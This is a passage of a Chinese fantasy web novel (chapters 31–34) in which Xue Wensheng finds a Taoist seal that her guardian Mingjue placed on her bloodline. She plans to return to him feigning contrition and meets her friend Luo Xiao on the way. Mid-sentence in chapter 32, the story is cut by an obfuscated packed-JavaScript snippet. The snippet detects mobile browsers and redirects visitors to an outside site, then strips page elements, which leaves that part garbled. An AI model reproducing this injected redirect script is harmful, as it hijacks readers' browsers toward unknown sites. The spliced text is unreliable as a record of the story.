这里不是战火纷飞后的废墟,却比废墟更让人心碎。这是一种“活着”的死亡,是安宁被生生撕裂后,暴露出的惊恐无助和无奈的妥协。 这些族人,他们刚刚失去了三位亲人,其中还有一个无辜的孩子,但他们甚至没有时间好好痛哭一场,就要立刻绷紧神经,准备放弃这处好不容易建立起来的家园,再次踏上茫茫未知,生死难料的逃亡之路。 他们只是想有一块立足之地,能让孩子平安长大,能让族人不再颠沛流离。他们与世无争,只是安静地生活在海外孤岛。 可即便如此,那些所谓的“正道”也不肯放过他们,视他们为妖魔,为资源,必欲除之而后快,连稚子都要挫骨扬灰! 这天地,何其不公!这世道,何其残酷! 站在沉沉暮色中,看着这片死寂里涌动着的无声悲歌,雪闻笙的身体不再颤抖,眼中的泪水也被海风吹干,只留下冰冷的盐渍。 她还在站这里做什么?犹豫什么? 不能再这样下去了! 她不能再仅仅沉浸在自己的身世迷惘,情感纠葛,或者对力量的模糊渴望里!那太自私,太渺小了! 就算再抵触女使长他们对自己的利用和安排,她也不可否认自己的血脉里,流淌着与他们相同的血液,烙印着相同的屈辱与伤痛! 上天赋予她的宿命,她逃避不了,也不该逃避! 她要保护他们!保护这些视她为可能的希望,却又因她可能招来更多灾厄的族人! 她要保护那些像鸣宝一样,本该拥有欢笑与未来的孩子!保护这些在绝境中依然努力维系着团结,坚守着血脉,挣扎求存的同族! 她转过身,目光投向“思谏阁”的方向,那里灯火通明,隐约还有人影忙碌。 又看向远方渐渐被黑暗吞噬的海平面,那里隐藏着未知的风暴与漩涡,也隐藏着......或许渺茫,但必须去搏杀的未来。 为了脚下这片即将被迫放弃的土地,为了那些沉默而坚韧的族人,也为了......那个再也无法喊她“玄女姐姐”,焦黑的小小身影。 32. 第 32 章 她没有丝毫犹豫,径直走向岛屿中央的“思谏阁”。 守卫的族人见到她,眼神颇为复杂,行了一礼之后,颔首让开。 殿内,女使长正与荣御及几位核心长老低声商议着什么,面前摊开着一张新海图,上面详尽的标记了各种危险符号。 听到入门的脚步声,他们齐齐抬头。 雪闻笙走到殿中,站定。她的身姿纤细,背脊挺直,仿佛一朝一夕之间抽去了所有柔软的内核,换上了坚硬的骨骼。 她直视着女使长:“婆婆,荣御,各位主事长老们。告诉我,该如何真正觉醒我体内的血脉之力?如何才能修习属于我族,属于‘璇光’,属于‘魅’的功法?” 她顿了顿,坚定道,“我要变强。立刻,马上。” 她说完这话,殿内有一瞬的寂静。 几位长老交换着眼神,有审视,有估量,也有压抑的期待。 荣御深紫色的眸子凝视着雪闻笙,看到了她眼底的悲痛与恨,也看到了破茧而出的决心,他轻轻向女使长点了点头。 女使长眼角的皱纹瞬间舒展了些许,缓缓从石座上站起,拄着拐杖走到雪闻笙面前,轻轻拍了拍雪闻笙的肩膀,叹道:“孩子,你终于问出这句话了。” “血脉的觉醒,并非一蹴而就。它需要契机,需要引导,还需要你自身毫不退缩的意志与......承受痛苦的觉悟。我族的力量,源于远古仙裔,炽烈直接,与那些讲究循序渐进,调和阴阳的人族道法截然不同。一旦开始了,可能会伴随着难以想象的冲击与煎熬。你,准备好了吗?” 雪闻笙迎上女使长的目光,语气平静得可怕:“碎星礁上的火,已经烧光了我所有的犹豫和怯懦。如果痛苦是变强的代价,我甘之如饴。如果死亡是觉醒的可能结果,我也在所不惜。只要......能获得力量。” “好!”旁边一位脾气火爆,名叫雷烈的长老忍不住低喝一声,眼中满是激赏,“这才像是我璇光族的后裔!使长大人,事不宜迟,马上开始吧!” 女使长点了点头,吩咐荣御:“荣御,你带路。去‘溯光祭坛’。” “是。” “溯光祭坛”位于岛屿最深处的一个天然形成的海蚀洞窟之中,位置极为隐秘,洞口有古老的幻阵守护。等他们一行人穿过了一段曲折幽暗的通道,前方豁然开朗。 眼前是一个巨大的半球形的洞窟穹顶,顶端不知是天然形成的还是人工开凿的,竟然有一扇小小的天窗,一束清冷的日光像利剑一样投射下来,正正照射在洞窟中央,那里有一座通体漆黑,非石非玉的圆形祭坛。 祭坛表面光滑如镜,隐隐流动着赤红色的纹路,复杂玄奥。祭坛周围的地面上,镌刻着更巨大,更繁复的阵图,线条深深嵌入岩石,里面好像曾经流淌过某种特殊的液体,如今只能看出一点深色的痕迹。 雪闻笙还闻到了一股香甜奢靡的味道,似曾相识,她之前在梦里闻到过。 女使长的声音在空旷的洞窟中省省回响:“这里是我族举行重要仪式,追溯血脉源头,激发新生代力量的地方。祭坛能共鸣血脉,阵法能汇聚并引导地脉与星辉中残存的适合我族的稀薄灵气。荣御,你守在外围,任何人不得打扰。” “是。”荣御默默退到洞口阴影处,目光始终聚焦在祭坛中央的雪闻笙身上。 “孩子,你站到祭坛中央去。”女使长示意。 雪闻笙依言踏上了黑色的祭坛表面,刚站上去,脚底下就传来一股奇异的温热感,仿佛这祭坛是活的,正在缓慢地呼吸。她按照女使长的指示,盘膝坐下,双手自然置于膝上,掌心向上。 女使长站在祭坛边缘,深吸一口气,用古老晦涩,音节奇特的语言低声祝祷。她伸出双手结出一个个繁复奇妙的手印,动作缓慢,精准无比,每完成一个手印,指尖便有一点微弱的银色光芒亮起,像夏夜流萤。 随着祝祷与手印的持续,洞窟地面的巨大阵图仿佛被唤醒了。 从天窗投射下的那束日光,似乎也被祭坛的力量吸引,扭曲,变得更加凝聚,隐隐染上了一层月华般的清冷色泽,笼罩在雪闻笙身上。 雪闻笙感到身下的温热逐渐升高,一股力量开始从祭坛涌入她的身体,顺着经脉缓缓游走。那种力量冰冷又灼热,与她体内某种沉睡的东西产生了共鸣。她心跳不受控制在加快,血液流动的速度也在提升,一种陌生的,带着轻微刺痛感的躁动在四肢百骸传过来。 就是这种感觉!她在梦里感受过,在梦里情绪激烈时隐约触碰过!属于魅族的血脉之力,正在被唤醒,被引导! 女使长的祝祷声越来越快,手印变幻的更快,最后她双手猛地向前一推,一道凝练的赤色光流自她掌心射出去,融入祭坛的银辉之中,像催化剂,整个祭坛立刻变的光芒大盛! 那束笼罩着雪闻笙的天光也明显增强了。 “凝心静神,引导那股力量,向你的丹田气海汇聚!冲破那层与生俱来的蒙昧障壁!”女使长的声音直接传入雪闻笙脑海。 雪闻笙立刻收敛心神,全力感受并尝试引导体内那股越来越活跃的力量。 她感知到力量像无数红色的细小溪流,正欢快地向着小腹丹田的位置奔涌而去,那里仿佛有一层薄薄的、无形的隔膜,阻碍着它们真正融为一体,阻碍着力量之源的开启。 冲过去!冲开它! 她在心中呐喊,将所有意志都灌注其中。红色溪流逐渐汇聚成河,带着一往无前的气势,狠狠撞向那层“障壁”! 在她心神激荡的那一瞬间,一股完全不同于幽暗银辉的金色光芒,毫无征兆地浮现出雪闻笙的丹田最深处!它柔和,纯净,平和,又无比坚韧。 这股金光没有攻击性,像是一个早就已经设定好的牢笼,完美无缺,这是一个由无数细密繁复,充满道家至高韵律的符文构成的封印! “嗡——!” 红色的血脉洪尽数流撞在这金色封印之上,没有想象中壁垒破碎的后果,两股力量也没有激烈的对抗。 那看似柔和的金光,蕴含着一种“道法自然”,“万法不侵”的至高意境,像深沉的海绵,将狂暴冲击而来的红色力量悄无声息地吸纳,消弭,化解于无形! 金色封印表面连一丝涟漪都未曾荡起!雪闻笙却如遭重击。 “噗——!”她脸色间惨白,喉头一甜,喷出一小口鲜血。是她试图强行冲破阻隔,反弹后引起的气血逆冲!祭坛的光芒和地面的阵图也受到了干扰,剧烈闪烁几下之后,就迅速黯淡下去了。 “怎么回事?!”雷烈长老惊愕道。 女使长的祝祷声也戛然而止,结印的双手僵在半空,她死死盯着雪闻笙丹田处那逐渐隐没,却余韵未消的金色光晕。 她脸上血色尽褪,嘴唇哆嗦着,吐出了一个让在场所有人都心头巨震的名称: “这......这是......道门至高封印术——‘太清锁灵印’?!不可能!这不可能!” 她惊骇,又绝望。 荣御的身影鬼魅一样出现在祭坛边缘,他看向雪闻笙,又看向女使长,声音干涩:“使长大人,您确认吗?” “绝不会错!”女使长踉跄一步,几乎站立不稳,全靠拐杖支撑,“我曾在一卷残破的上古典籍中见过描述......金光内蕴,符文自生,形如琉璃锁,意似太清天......锁灵镇魂,隔绝本源......是专门用来封印特殊血脉、强大妖灵或着转世魔胎的顶级道印!施术者需有至高修为与纯净道心,且......代价不菲。” 她猛地转向雪闻笙,问道:“孩子!这封印是谁给你种下的?何时种下的?!” 雪闻笙呆呆地坐在祭坛上,嘴角还挂着血丝,体内气血翻腾未平。 她很清晰地感受到了那金色封印的存在——它不是实体,却比任何铜墙铁壁都更加坚固。它没有恶意,甚至带着一种安抚般的温暖,却将她与力量源泉彻底隔绝,让她所有的努力都像是蚍蜉撼树,徒劳无功。 原来如此......原来如此! 为什么她总是无法真正触及那血脉之力?为什么她的“特殊”总是隔着一层纱,朦朦胧胧?为什么明决会如此“放心”地让她下山,对她可能的“异常”不闻不问? 以前所有不明白的疑问,在这一刻都有了清晰的答案。 残酷又绝望。 她缓缓抬起头,声音轻飘飘的,好像来自很远的地方:“尘寂山......明决。” 这个名字说出口的瞬间,洞窟内的空气又凝固了几分。 女使长和荣御的脸色更加难看了。 “怪不得......怪不得你下山这么久,尘寂山那边一点动静都没有,原来......”女使长喃喃道,语气中满是苦涩,还有一丝被算计的愤怒,“好一个算无遗策的明决!好一个心怀苍生的妙衣圣手!他早就防着了!他不仅养育你,教导你,还在你力量萌芽之初,就亲手为你戴上了这世界上最坚固的枷锁!让你永远无法真正回归我族,永远无法获得威胁他心中‘正道’的力量!” 明决。 雪闻笙脑海中浮现出那个永远一尘不染的白色身影。 他站在尘寂山的云雾之中,眉目清冷如画,眼波深邃如古井,仿佛知悉世间一切因果。他教她识字辨药,在她做噩梦时彻夜守候,在她任性时百般纵容......他是高山仰止的存在,是她内心深处爱慕与依恋的源头。 可现在,这山,这源头,显露出了它冰冷残酷的另一面。 他智慧超群,早已预见一切可能。 他道心坚定,心中的“秩序”与“正道”,令他毫不犹豫地施下这绝户般的封印。 他拥有近乎神性的慈悲与威严,但这慈悲与威严,从来没有真正将她——一个流着“异族”血液的“隐患”——纳入平等的范畴。在他眼中,她或许始终是那个需要被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892665|192244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “引导”,被“规范”,甚至必要时被“限制”的特殊存在。 爱慕与崇敬,在此刻化作了最尖锐的讽刺,像刀子割的她生疼。 她曾经以为那是不染尘埃的守护,如今看来,不过是居高临下的禁锢。 她终于明白,原来自己与明决之间,隔着的是一条名为“种族”,名为“立场”的不可逾越的天堑。 他是她觉醒路上,最大,最无法撼动的障碍。而且,这障碍,是她亲手奉上信任,由他亲手铸就。 “不能强行靠外力去解除,”荣御依旧冷静,但语气颇为凝重,“‘太清锁灵印’与受术者神魂本源相连,外力强冲,封印反噬,足以让她......爆体而亡,魂飞魄散。”他看向雪闻笙,眼神复杂难明,“这封印,霸道至极,却也......高明至极。它锁死的,是你血脉的‘根’。” 雪闻笙感受着丹田处那无形,却无处不在的坚固壁垒。 是的,无处着力。 所有的愤怒,所有的决心,所有的渴望,撞在这壁垒上,都只会反弹回来,伤及自身。刚刚升起的希望,瞬间被砸得粉碎,露出底下深不见底的绝望深渊。 她以为找到了路,却发现起点就被焊死了铁门。 洞窟内陷入了长久的沉默。水滴从岩壁滑落的声音,滴答,滴答,像极了倒数计时的丧钟。 许久,雪闻笙慢慢从祭坛上站起身,身形有些摇晃,但她稳住了。 她擦去嘴角的血迹,然后,她转向女使长和荣御,“婆婆,荣御,封印不解,我留在这里,除了眼睁睁看着,什么也做不了,对吗?” 女使长看着她,眼中闪过一丝不忍:“孩子,觉醒血脉,修习我族核心功法,都必须以开启本源为前提。这封印不除,你......永远无法真正踏入我族的修炼之途。寻常的体术,外功或许可以学,但是对抗那些修士,远远不够。” 雪闻笙点了点头,仿佛早就料到了这个答案。 她闭了闭眼,再睁开时,眼底一片清明。 “我明白了。”她说,“我要回去。” “回尘寂山?”荣御沉声问。 “是。”雪闻笙的目光穿透了洞窟的石壁,望向了遥远大陆的方向,“我要回到明决身边去。这封印因他而起,解铃......仍需系铃人。” “他不会解的。”女使长断然道,“明决的道心,坚如磐石。他既然种下此印,就绝不会亲手解开。他甚至可能......早就料到你会回去。” “我知道。”雪闻笙嘴角勾起一丝极淡的弧度,那不是笑,更像是冰刃的反光,“我没指望他会心软,也没打算去哀求。眼泪和......那点可笑的‘喜欢’,在他面前,一文不值。” 她顿了顿,语气又冷又决绝:“但是封印在他所知的范围内。或许......有他也不知道的漏洞,有他自己也没有察觉的‘因’。呆在他身边,是唯一可能接近,了解,甚至......利用这封印的机会,还有焚梦圣剑,我们不能放弃关于圣剑的线索,不是吗?留在岛上,我只有绝望。回去,至少还有一线渺茫的生机,成功不是等来的,是需要去赌,去谋取的。” 族人的鲜血,鸣宝的焦骸,岛屿上死寂的黄昏,百果阿叔埋葬记忆时佝偻的背影......这些画面在她心中反复灼烧。 爱慕可以冷却,依赖可以斩断,天真可以埋葬,但是血脉里的羁绊和胸膛中的恨火,无法熄灭。她必须获得力量,为此,她可以回到那个施予她最深禁锢的人身边,去进行一场注定艰难,可能是自我毁灭的博弈。 女使长和荣御对视一眼。 女使长眼中精光闪烁,她在快速权衡。最终,缓缓点头道:“你说得对。留在岛上,于你于族,皆无益处。回去,虽是险棋,却也是破局唯一可能的起点。” 她上前一步,压低声音,郑重地叮嘱,“记住,回去之后,一切如常,切不可让他察觉你已经知道封印之事,更不能流露对我族的认同与仇恨。你需要隐忍,需要观察,需要学习他的一切,包括他的道,他的法,他的弱点。族中会通过特殊的方式,由荣御与你保持单向联系。非到万不得已,绝对不可以主动联络。” 荣御走到雪闻笙面前,深深地看着她,沉默了片刻,才开口道:“保重......玄女。” 这个称呼,忽然让雪闻笙微微一震。 “玄女”,是族中人对她这位身负特殊血脉,被寄予厚望的族长后裔的尊称。此刻由荣御口中再一次唤出,意义非凡。 荣御续道:“记住,你的身后,站着整个族群。你的每一个选择,都不仅仅关乎你个人。活下去,然后......找到路。” 雪闻笙迎着荣御的目光,重重点头。 洞窟外,魅族岛屿的海风,依旧带着咸腥与未散的血气。这风马上就要伴随着她,吹向那个她必须回去的爱怨交织的起点,也吹向她注定无法回头,荆棘遍布的未来。 33. 第 33 章 荣御借着黎明前最浓的夜色,将雪闻笙送到了一处偏僻无人的海岸边。 船刚靠稳,雪闻笙利落地跃上湿滑的岩石。 她转身,望向了船上那个沉默的身影,海风拂乱她的额发,也吹动着荣御深色的衣角。“就到这里吧,荣御。回去帮婆婆,多帮帮大家。现在岛上的事,比我重要千万倍。” 荣御立在船头,他没有说“保重”之外的废话,极轻地点了下头。再最后看她一眼,便不再停留,竹篙轻轻一点,小船滑入了弥漫的海雾中。 雪闻笙望着空茫的海面,直到再也感觉不到任何同族的气息,才缓缓吐出一口气。她转身,真正踏上了坚实而陌生的陆地。 重新置身于人间地界,喧嚣和烟火气隐隐传来。 她没有立刻就动身赶往尘寂山,甚至暂时没有明确的方向,心头像压着一块浸透了海水的巨石,沉甸甸,湿漉漉的。 她步履迟缓。 如何面对明决?这个念头像一根刺,扎着她,让她本能地抗拒不想去触碰。 她需要一点点时间,让海风稍微吹干心头的咸涩,让沸腾的恨意与绝望沉淀下来。 她买了一匹马,一人一马就这么漫无目的地走着,跑着。 路过稀落的树林,路过荒芜的田埂,顺着人烟渐稠的路径,她走了很远很远,不知不觉,就走入了一个熙熙攘攘的小镇。 镇口古旧的牌坊上,镌刻着三个斑驳却依旧清晰的大字——平乐镇。 雪闻笙牵着马在牌坊下驻足,抬头望着那三个字。 平乐镇......她记得这个地方。 妄月真人当初带着洛逍造访尘寂山,就是因为这里爆发了瘟疫,据说那一场惨烈的天灾,几乎摧毁了这座小镇。 雪闻笙闭上眼睛,细细感应着这里的一草一木。 她“看”到了那时候的平乐镇,被可怖的瘟疫阴影笼罩,街道空旷死寂,灰蒙蒙的空气里弥漫着草药刺鼻气味,耳边时而传来压抑的哭泣,还有抬尸者沉重脚步声。 妄月真人以及门下底子曾在此停留半月有余,他们带着明决赠送的药草丹药,与当地医官日夜不休地研制方剂,救治病患,门下弟子们也在一旁帮忙递药,照顾轻症的孩子...... 雪闻笙亲眼见到了镇上的生命如何在病魔手中迅速枯萎,也见到了妄月真人衣不解带,眉头深锁的凝重...... 雪闻笙睁开眼睛,缓缓步入镇中。 如今的平乐镇,青石板路干净整洁,两侧店铺幡旗招展,各路店家卖着时新的绸缎,精巧的玩物,香气扑鼻的糕饼。 茶馆里传来清越的说书声,酒肆门口伙计热情吆喝。孩童举着糖葫芦嬉笑着从她身边跑过,老人坐在门口笑眯眯地晒着太阳,妇人挎着菜篮,与相熟的邻居高声谈笑,讨价还价。空气里是食物,花香,尘土和阳光混合的温暖气息,这是独属于人间的繁华。 当初明决慷慨无私,倾囊相授的做法是对的。那场灭镇的瘟疫,仿佛只是古老志异中的一个遥远传说,没有在镇子留下丝毫阴霾。人们重建了家园,也重建了生活,甚至比以往更加安乐繁荣。 雪闻笙站在川流不息的人群中,有那么一刹那的恍惚。 毁灭与新生,绝望与希望,在这座小镇上完成了如此彻底的转换。这份强大的韧性,这份从灰烬中开出花朵的生命力,给了她一道微弱的曙光。 如果平乐镇可以从那样的绝境中站起来,那么魅族呢?是的,他们现在颠沛流离,朝不保夕,被迫准备放弃家园,前途未卜。但看看眼前......只要火种不灭,只要人还在,希望就还在。 重建,不是痴人说梦。 不过这些想法也没有减轻她肩头的重量,让她更清晰地意识到自己的责任。族群需要希望,更需要力量去争取希望。而她,必须成为这力量的一部分。自己,也要更努力,更争气才行。 那道封印是枷锁,未必是终点。 她信步走着,目光掠过街边摊贩,忽然一个熟悉的响亮嗓音,穿透市井嘈杂,猛地扎进她的耳朵—— “闻笙?闻笙!真的是你?!” 雪闻笙猝然回头。 只见人流中,一个身着青白道子服,头发高高束起、眉目俊朗飞扬的少年,正瞪大了眼睛,又惊又喜地看着她,手里还拿着一串啃了半只的糖油果子。 不是洛逍又是谁? “洛逍?”雪闻笙也着实愣了一下,没想到会在这里遇见他。 洛逍已经三步并作两步冲了过来,满脸掩饰不住的欢喜,围着她转了小半圈,上下打量,嘴里啧啧有声:“我的天!这才多久没见?闻笙,你这......你这是吃了什么仙丹灵药了?出落得我都不敢认了!” 他目光直白又热烈。眼前的雪闻笙,确实与数日前那个带着些许青涩,眉眼间总萦绕着淡淡轻愁的少女有了微妙的不同。 她身上的素衣未改,却仿佛被岁月悄然重新剪裁过。 表面看着依旧是那副漂亮至极的骨相,但似乎经历了一些风霜洗礼后,那份天然的纯净里,糅杂出了一种沉静的气质。眼眸依旧清澈,却不再是一眼见底的溪流,像深潭,表面平静,内里蕴着许多未出口的故事,泛着内敛的幽光。 洛逍当然不知道,或许是魅族血脉在封印下依旧无声的影响,或许是心境的剧变,她身上不经意间散发着动人心魄的魅力,静默又馥郁。 雪闻笙被他看得有些不自在,心里不想与他过多谈及往事,微微偏过头,含糊道:“别胡说。你怎么在这里?”她试图转移话题。 “我?我回家了啊!哦,路过这儿,馋这口糖油果子了,就来买点。”洛逍笑嘻嘻地,居然又把话题绕了回来,“说真的,你不一样了!更......更那什么了!哎,怎么说来着?” 他挠挠头,想不出合适的词,干脆就放弃了,热情地一把拉住她的袖子,“走走走,正好在这儿又碰上了,缘分啊!我知道这镇上有家老字号的鱼丸汤和芙蓉酥绝了!我请客!咱们边吃边聊,你可必须告诉我,这段时间你跟荣御跑哪儿逍遥快活去了?怎么就把我这个可怜见的落下了!” 不由分说,洛逍便熟门熟路地领着雪闻笙,拐进一条飘着食物香气的小巷,钻进一家门口看着不起眼,里面坐得满满当当的小食铺。 他显然跟老板很熟,高声招呼着,硬是给他俩腾出了个靠窗的僻静位置。 热气腾腾的鲜香鱼丸汤,金黄酥脆的芙蓉酥,几样清爽小菜很快摆了上来。食物的香气温暖实在,稍稍驱散了雪闻笙心头的寒凉。 洛逍给她夹了块最大的芙蓉酥,自己咬了口鱼丸,烫得“哈哈”直吸气,还不忘追问:“快说快说!你跟荣御,当时怎么一声不吭就丢下我跑了?害我睡醒了在客栈等了一整天!说好的一起闯荡江湖呢?” 他故意鼓起脸,做出委屈又气恼的表情,眼神却亮晶晶的,满是促狭:“哎呀,真是的!明明最开始是我‘拐带’你下山的,怎么到最后,倒变成荣御那冰块脸‘携美私奔’了?这传出去,我洛逍小霸王的脸往哪儿搁?闻笙妹妹,你这可不厚道啊!” “私奔”二字从他嘴里戏谑地说出来,带着洛逍特有的夸张和玩笑意味。雪闻笙握着汤匙的手一顿。 若是从前,听到这样大胆的调侃,她怕是早就脸红耳赤,嗔怪着让他闭嘴了。但此刻,她睫毛微微颤动了一下,抬起眼,看了洛逍一眼。 眼神无波,带着一丝极淡的倦怠和包容,仿佛在看一个不懂事却无恶意的孩子玩闹。 “没有的事。”她语气平淡,没什么情绪,“当时情况有些急,没来得及跟你道别。后来......跟荣御去了些地方,见了些人。”她避重就轻,舀起一颗鱼丸,放在唇边轻轻吹了吹。 “去了哪儿?见了谁?好玩吗?荣御那家伙,一路上是不是还是那副无趣的死人脸,闷死个人?”洛逍的好奇心被彻底勾起,连珠炮似的问。 “没有,没有,只去了海边。”雪闻笙淡淡答道,脑海中瞬间闪过碎星礁的血色,孤岛的黄昏,祭坛的金光...... 她立刻掐断思绪,补充道,“看了些不同的风景。荣御他还是老样子......话确实不多。”她顿了顿,状似无意地反问,“倒是你,后来去了哪里?我和荣御的事,你没跟别人说吧?” “我?我等不到你们,又担心你们是不是出了什么事,在附近找了两天,没消息。后来想想,荣御那身手,护着你肯定没问题,说不定是嫌我碍事,带你单独游山玩水去了。看来,我果然没猜错!” 洛逍撇撇嘴,又咬了一口酥饼,可把他香迷糊了,瓮声瓮气道:“我能跟谁说去?我自个儿都是偷跑出来的,找不到你们,一个人呆着无趣得很,身上的盘缠也花得差不多了,只好灰溜溜回师门了呗。” 雪闻笙心中微微一动。 她放下汤匙,拿起茶杯,小心翼翼地问:“哦,那你师父发现你不辞而别,又忽然自己跑回去,是什么反应?定是生气了吧?”这话,看似问的是洛逍,其实她在问自己。 “嗨!别提了!”洛逍摆摆手,表情变得有些滑稽,“我本来告假说回 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正好碰上妄月真人闭关,对他私自下山的“罪过”毫不知情,他居然这么轻松地揭过了这一页。 那......明决呢? 这个念头不受控制地冒出来,带着冰碴。 她离开尘寂山这么久,明决出关了吗?已经发现她不见了吗?如果他发现了,会是什么反应?震怒?失望?还是...... 比起洛逍这种全然不知的“好运”,她发现自己竟然更宁愿明决是生气的,是怪罪她的,甚至......会因此惩罚她。 她希望是这样的,至少那意味着她的离开,她的存在,在他心里是有分量的,是能激起波澜的。而那种不闻不问,仿佛她从来没有存在过的漠然,才是真正将她置于无边冰冷与虚无的酷刑。 心口忽然传来一阵细密熟悉的抽痛,带着新生的恨意与旧日残留的依恋,她微微收紧了握着茶杯的指尖。 洛逍还是那样没心没肺,一点都没有察觉她瞬间的情绪暗涌,吃完最后一口鱼丸,满足地叹了口气,问道:“那你呢,闻笙?接下来有什么打算?你可是从尘寂山‘偷跑’下来的,明决前辈那边......你准备怎么办?” 他可真是哪壶不开提哪壶,脸上还露出真切的担忧,好心好意道:“要不要......先去我家避避风头?或者我陪你回去?好歹......我能帮着说几句好话?” 雪闻笙抬起眼,目光越过洛逍,望向了窗外熙攘的街道,眼神有些空茫,又似乎在急速默默的计算着什么。 片刻后,她收回视线,看向洛逍,语气是一种认命般的平淡: “我要回去,一个人。” “一个人回尘寂山?”洛逍确认。 “嗯。”雪闻笙点了点头,“回去乖乖认错。私自下山,是我的不对。我愿意接受一切惩罚,怎么罚,我都认。” 洛逍愣住了,他真没想到她会如此干脆,还带着“英勇就义”般的平静。 换做是他,他做不到,于是他挠挠头,眼神里佩服与担忧交织:“不愧是你,敢作敢当!不过......我还是陪你吧,多个人,总能......” “真的不用了,洛逍。”雪闻笙打断他,这次语气里带上了些许温度,是真诚的感谢,“谢谢你。但这是我自己的事,必须我自己去面对。你陪我回去算怎么回事呢,而且......可能让事情更复杂。” 她顿了顿,委婉劝道,“再说了,你师父虽然在闭关,说不准什么时候就出来了,你也该早些回去,免得节外生枝。” 话已至此,洛逍知道再劝也没用了。 他叹了口气,有些沮丧,又有些心疼:“那......好吧。你自己千万小心,这回我再多给你一些小玉符,要是......要是明决前辈罚得太重,或者你改了主意,随时找我!” 雪闻笙点了点头:“好,我记得了。谢谢你,洛逍。这顿饭,也谢谢你。” 两人在食铺门口分了别。 洛逍目送着雪闻笙单薄的背影汇入人流,渐渐远去,心里总觉得这次重逢,雪闻笙哪里不一样了,具体又说不上来,她身上沉静幽暗的气质,让人无端觉得......有点心疼,又有点不敢轻易靠近。 雪闻笙一路没有回头。 与洛逍的偶遇,像一段轻松的间奏,暂时缓和了她紧绷的神经,也让她更清晰地看到了自己的前路。嬉笑热闹总归是别人的,她是雪闻笙,是墨璃,是魅族“玄女”。 她必须独自走向那片巍峨的山影。 34. 第 34 章 雪闻笙站在岔路口,终于踏上了前往尘寂山的小道,与数日前离开时截然不同。 那时的她,心中充斥着被“禁锢”的委屈,有对未知世界的好奇,还有叛逆,想要挣脱一切的冲动。她是茫然的,带着情绪化,一心想寻求解脱与答案。 如今,她每一步都踏得沉稳。 冲动早就被血与火冷却了,委屈也化作了深埋心底的刺。 她的回归,不是迷途知返,而是一场冷静,带着明确目的谋划。 她告诉自己不要再想明决可能有的反应会让自己多难过,强迫自己抽离出来,保持理智。 根据以往经验看,明决明显是个吃软不吃硬的主儿,其实野狸子那次的低头认错效果很好,明决已经有了软化,只是自己当时太冲动,硬是把事彻底搞砸了。 这次就不一样了,等见到明决之后她要主动认错,神态要懊悔,不能太过,显得虚伪,也不能不足,显得倔强,语气要恳切,要把“认罪无怨无悔”的姿态做足,才能降低他的戒心。 她反复推敲着认错的措辞,语气,和细微的表情。她得把自己的恨意,不甘,觉醒的魅族意识,严严实实地锁在那层“太清锁灵印”下面,锁在自己精心伪装出的悔恨和柔弱后面。 她慢慢走着,尘寂山熟悉的山峦轮廓,终于出现在地平线上。层峦叠嶂,云雾缭绕,依旧带着遗世独立的清冷与威严。 雪闻笙站在山脚下,仰望着那巍峨的山影,百感交集涌上心头,冲击着她好不容易筑起的冷静堤防。 近乡情怯。 这里毕竟承载了她少女时期全部的记忆,一草一木都熟悉得令人心颤。 紧张如影随形,面对明决,无异于一场生死攸关的考验,她不知道自己的伪装能不能骗过他那双眼睛。 在她种种复杂情绪最深处,仍有一丝她自己不愿意承认,又无法彻底抹除的隐秘悸动,像深埋冻土的草籽,仍在顽强地搏动,拼命想发芽探出头。 她无论如何否认,如何用仇恨去覆盖,如何清醒地认识到彼此之间横亘着无法跨越的天堑...... 可是这里,这个人,依旧是她内心深处无法真正割舍,带着痛楚的向往。 那是习惯,是依恋,是多年仰望养成的情感惯性,或许也是那封印之下,残存的,对“温暖”与“归属”的本能渴求。 她为这份悸动感到羞耻,她也更警惕。 用力闭了闭眼睛,把最后一丝软弱的留恋,狠狠封存在心底最黑暗的角落。 然后,她睁开眼睛,低头整理了一下长途跋涉略显凌乱的衣衫和发丝,深吸一口气,抬步,踏过了“尘寂山”的界碑,上了通往山门的路。 尘寂山的石阶,被晨露浸润得颜色深郁,蜿蜒着没入了终年不散的云雾里。 雪闻笙在最后一处山坳停下,背靠着粗糙的岩壁,缓缓调整呼吸。 她再次低头看了看自己。 素色的衣裙在路途间沾染了风尘,裙摆被乱草石碓勾破了一道不起眼的细口。 还不够。 她抬手,将鬓边几缕碎发揉得更乱,几缕发丝滑落下来,湿漉漉地贴在她光洁的额角与颈侧。然后她凝聚起全部心神,去调整自己的面部神态——这张承袭自魅族血脉,日益显出惊艳绝色的脸。 眉尖要蹙起一点弧度,嘴唇需得微微抿着,失去一些血色,干枯苍白一点,眼神里要有长途跋涉后的困倦,还要带着点彷徨无依的脆弱。自己的模样看起来,一定得像一只在风雨中折了翅,终于狼狈归巢的鸟儿,惹人怜爱,惹人......放松警惕。 达到满意的效果之后,她才重新迈步,踏上了最后一段山阶。脚步也放得沉重起来,带着“疲惫”的拖沓。 穿过雾气缭绕的山门,走过沉默矗立的殿宇,眼前的景象与记忆中的严丝合缝。她久居过的竹楼檐角挂着旧日的铜铃,随风摇摆发出细碎的清响。 庭院里,阔别已久的植株明显一直被精心照料着,生机勃发,各色灵药舒展枝叶,静静流淌着灵气,一切照旧。仿佛她这些时日的惊心动魄,生死别离,从来没有发生过,时光在这里仁慈地停滞了。 而那个人...... 她的目光,瞬间就被植株旁那个素白的身影攫住了。 明决正俯身在一株新移栽的灵药前,他伸出手指,轻轻抚过一片叶子的边缘,侧影清癯挺拔,有种不沾尘埃的洁净。 他全副心神都在那株植物上,直到雪闻笙的脚步声踏碎了庭院的宁静。 明决抚着叶片的手指微微一顿,缓缓直起身,转了过来。 四目,于氤氲的药香与山雾中,骤然相对。 时间仿佛被拉长,又凝固。 雪闻笙的心脏刹那间疯狂跳动,“砰砰砰”一声高过一声,她控制不住自己。但她强迫自己不要移开视线,屏住呼吸,直直地迎上了明决的目光。 那是一双怎样的眼睛啊。 依旧像记忆深处那样,深邃,平静,浩渺如烟。 清晰地倒映出了她此时的狼狈与脆弱,却不见里面有丝毫波澜。 雪闻笙的心跳,忽然慢了下来。 